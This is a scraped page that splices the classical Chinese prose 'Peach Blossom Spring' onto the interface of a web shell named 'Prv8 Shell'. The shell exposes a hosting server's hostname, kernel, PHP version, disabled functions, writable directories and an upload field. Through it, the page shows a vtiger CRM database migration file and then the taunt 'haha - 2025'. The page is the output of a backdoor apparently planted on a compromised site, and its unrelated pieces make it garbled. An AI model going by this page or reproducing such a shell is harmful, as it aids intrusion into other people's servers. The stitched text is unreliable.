晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/modules/Migration/schema/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/modules/Migration/schema/650_to_660.php
<?php
/*+********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *********************************************************************************/

if(defined('VTIGER_UPGRADE')) {
	global $adb, $current_user;

	// Migration for - #141 - Separating Create/Edit into 2 separate Role/Profile permissions
	$actionMappingResult = $adb->pquery('SELECT 1 FROM vtiger_actionmapping WHERE actionname=?', array('CreateView'));
	if (!$adb->num_rows($actionMappingResult)) {
		$adb->pquery('INSERT INTO vtiger_actionmapping VALUES(?, ?, ?)', array(7, 'CreateView', 0));
	}

	$createActionResult = $adb->pquery('SELECT * FROM vtiger_profile2standardpermissions WHERE operation=?', array(1));
	$query = 'INSERT INTO vtiger_profile2standardpermissions VALUES';
	while($rowData = $adb->fetch_array($createActionResult)) {
		$tabId			= $rowData['tabid'];
		$profileId		= $rowData['profileid'];
		$permissions	= $rowData['permissions'];
		$query .= "('$profileId', '$tabId', '7', '$permissions'),";
	}
	$adb->pquery(trim($query, ','), array());

	require_once 'modules/Users/CreateUserPrivilegeFile.php';
	$usersResult = $adb->pquery('SELECT id FROM vtiger_users', array());
	$numOfRows = $adb->num_rows($usersResult);
	$userIdsList = array();
	for($i=0; $i<$numOfRows; $i++) {
		$userId = $adb->query_result($usersResult, $i, 'id');
		createUserPrivilegesfile($userId);
	}

	echo '<br>#141 - Successfully updated create and edit permissions<br>';

	// Migration for - #117 - Convert lead field mapping NULL values and redundant rows
	$phoneFieldId = getFieldid(getTabid('Leads'), 'phone');
	$adb->pquery('UPDATE vtiger_convertleadmapping SET editable=? WHERE leadfid=?', array(1, $phoneFieldId));

	// Migration for #261 - vtiger_portalinfo doesn't update contact
	$columns = $adb->getColumnNames('com_vtiger_workflows');
	if (in_array('status', $columns)) {
		$adb->pquery('ALTER TABLE com_vtiger_workflows MODIFY COLUMN status TINYINT(1) DEFAULT 1', array());
		$adb->pquery('UPDATE com_vtiger_workflows SET status=? WHERE status IS NULL', array(1));
	} else {
		$adb->pquery('ALTER TABLE com_vtiger_workflows ADD COLUMN status TINYINT DEFAULT 1', array());
	}

	if (!in_array('workflowname', $columns)) {
		$adb->pquery('ALTER TABLE com_vtiger_workflows ADD COLUMN workflowname VARCHAR(100)', array());
	}
	$adb->pquery('UPDATE com_vtiger_workflows SET workflowname = summary', array());

	$result = $adb->pquery('SELECT workflow_id FROM com_vtiger_workflows WHERE test LIKE ? AND module_name=? AND defaultworkflow=?', array('%portal%', 'Contacts', 1));
	if ($adb->num_rows($result) == 1) {
		$workflowId = $adb->query_result($result, 0, 'workflow_id');
		$workflowModel = Settings_Workflows_Record_Model::getInstance($workflowId);
		$workflowModel->set('execution_condition', 3);
		$conditions = array(
			array(
				'fieldname' => 'portal',
				'operation' => 'is',
				'value' => '1',
				'valuetype' => 'rawtext',
				'joincondition' => 'and',
				'groupjoin' => 'and',
				'groupid' => '0'
			),
			array(
				'fieldname' => 'email',
				'operation' => 'is not empty',
				'value' => '',
				'valuetype' => 'rawtext',
				'joincondition' => '',
				'groupjoin' => 'and',
				'groupid' => '0'
			)
		);
		$workflowModel->set('conditions', $conditions);
		$workflowModel->set('filtersavedinnew', 6);
		$workflowModel->set('status', 1);
		$workflowModel->save();
		echo '<b>"#261 - vtiger_portalinfo doesnt update contact"</b> fixed';
	}
}

haha - 2025